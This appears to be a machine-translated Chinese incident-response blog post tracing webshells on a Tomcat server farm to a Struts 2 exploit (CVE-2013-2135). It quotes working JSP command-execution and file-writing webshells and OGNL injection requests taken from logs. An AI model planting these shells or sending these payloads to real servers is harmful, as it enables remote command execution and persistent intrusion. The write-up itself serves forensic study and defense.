希望上一篇博文已經強調，在任何特定時刻，全世界的機器都會試圖利用眾多漏洞。不同的迷惑技巧或隱身技術被用於交付有效載荷，並通過安裝Webshell為騙子提供初始立足點。不幸的是，使防禦者的生活更加困難的是，在前一篇文章中提到的同樣的原則可能會被有動機的攻擊者以一種微妙和有針對性的管道用來進行網絡間諜活動。
第二幕-你真是個幸運的人！
對以下案件的分析很容易導致有關各方就基本安全控制、風險或責任進行各種討論。你們中的大多數人可能都經歷過由或多或少明顯的漏洞、系統錯誤配寘和鍵盤和椅子之間存在的問題所造成的災難的不同方法。讓我們把這個討論放在一邊，把重點放在事實和當前的主要話題上——在目標攻擊中使用的Webshell！
在大多數交戰中，調查中最關鍵的一部分是找到潜在入侵者的入口。當OPS團隊從一個影響了一個web服務器服務器場的大規模事件中恢復過來時，我意識到整個服務器場都被定制的後門、rootkit和密碼轉儲工具（注意：本文沒有討論！）所感染。
對惡意軟件留下的工件和來自多臺機器的橫向移動活動的時間線分析確定了安裝第一個惡意軟件樣本的可疑服務器。唯一的問題是，一開始有人是如何在內部web服務器場上植入惡意檔案的？一個好的起點是惡意軟件是在應用伺服器服務帳戶的上下文中執行的。壞消息是它有管理特權。
我們從哪裡開始？
我從來沒有為任何執法機构工作過，也不知道當時有誰能提供一些關於如何提問以收集所有必要資訊的最佳建議。也許適當的審訊技巧可以達到目的。然而，要成功地進行調查，您需要從不同實體獲取大量資訊（上下文），以建立一個更大的圖景，更好地理解系統、基礎設施、業務流程等。對可用數據的分析應確認提供的大部分資訊。但是，當您知道一個服務器包含十幾個或更多的業務應用程序，其中有數千行程式碼可供內部用戶訪問，並且沒有明顯的起點時，您應該從哪裡開始呢？您可以根據功能、可用性和公開性來確定應用程序的優先順序。
在討論應用程序功能時，其中一名操作人員使用了能够立即觸發警報的妙語：
- “此服務器上的應用程序支持intranet用戶，只能從內部網絡訪問。”
- “除了內部網絡之外，沒有任何其他地方可以訪問這些應用程序？’
- '不在此服務器上。'
- “這個服務器？其他人呢？’
- '有些應用程序是通過internet上的內部服務器和DMZ服務器從中央內部存儲中裝載的'
蜘蛛感覺開始刺痛的那一刻。我們要分析一些應用程序日誌嗎？
Tomcat應用伺服器作為windows服務安裝時，會將來自web應用程序的消息記錄到stdout.log中。與大多數標準輸出日誌一樣，您將看到應用程序轉儲的大量活動堆棧跟踪，特別是繁忙的生產日誌。然而，在回顧了無數行Java消息之後，這個特別的消息引起了我的注意：
stdout.log
org.apache.jasper.JasperException: An exception occurred processing JSP page /images/abc.jsp at line 5
2: <%
3: try {
4: String cmd = request.getParameter("cmd");
5: Process child = Runtime.getRuntime().exec(cmd);
快速近距離查看錯誤可以識別其他感興趣的檔案：
org.apache.jasper.JasperException: Unable to compile class for JSP:
An error occurred at line: 1 in the jsp file: /images/test/bb.jsp
The left-hand side of an assignment must be a variable
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\".write(request.getParameter("t").getBytes());%>
如果第一條錯誤消息不够令人信服，後者會顯示有人試圖寫入一個看起來非常小但功能强大的webshell檔案。現在是時候拿出檔案來看看我們到底在處理什麼：
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
這個簡單的servlet通過cmd參數接收命令，嘗試在系統上執行它並返回命令輸出。使之完全符合你保持控制的需要。
cmd
每當我的一個好朋友對數據感到困惑，並在調查過程中遇到問題時，他都會說“給我猜謎”。這也是我一直在問自己的問題，但當時沒有人回答。應用程序日誌顯示，有人將WebShell放到了中央存儲位置，但仍不清楚這是如何實現的。不幸的是，日誌的保留沒有覆蓋事件的全部時間線，囙此有些日誌遺失了。幸運的是，我知道將webhells保存在其目錄中的應用程序的名稱，這使我能够將注意力集中在特定的web應用程序流量上。我們要分析一些web服務器日誌嗎？
在日誌條目中滾動以下條目引起了我的注意。應用程序似乎被強制執行系統命令以查看網絡配寘：
GET <AppURL>redirectAction:%25{
(new+java.io.BufferReader(new+java.io.InputStreamReader((new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ipconfig’}.start()).getInputStream())))).readline()}
蒐索所有重定向操作實例的日誌：顯示其他數據，例如。
redirectAction:
ET <AppURL>redirectAction:%25
{(new+java.io.BufferedWriter(new+java.io.FileWriter(new+java.io.File(“1.jsp”)).append(req.getParameter(“e”)).close()}&e=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\")).write(request.getParameter("t").getBytes());%>
此日誌顯示有人試圖將上述webshell寫入共亯應用程序資料夾。通過穀歌蒐索和測試發現，這個HTTP請求試圖利用已知的Struts 2漏洞CVE-2013-2135。此活動的時間戳記由對從web服務器場中的服務器收集的所有工件的時間線分析所支持，這表明我們已經找到了妥協的初始點。
一幅畫勝過千言萬語，所以把所有的片段拼凑在一起後，這就是它的樣子：
結論
這個故事的寓意很簡單。韋伯謝爾是阿森納在進攻的不同階段使用的成熟演員的一部分，無論是獲得最初的立足點還是保持持久性。更重要的是，防禦者和事件響應者並不總是擁有所有需要的數據進行分析。訪問日誌可能已經被覆蓋，但是每次攻擊都會在多個系統中留下多個工件。這個約定被應用程序日誌保存了下來，事實上壞人是人類，他們做著人類最擅長犯錯誤的事情。
幾個月前，Mandiant在部落格上發佈了Struts2漏洞和webshell攻擊的組合。CrowdStrike分享了一個關於颶風猫熊和深猫熊使用中國直升機網的故事。這兩本書都是非常好的補充讀物，強烈推薦給所有對此類案例研究感興趣的人。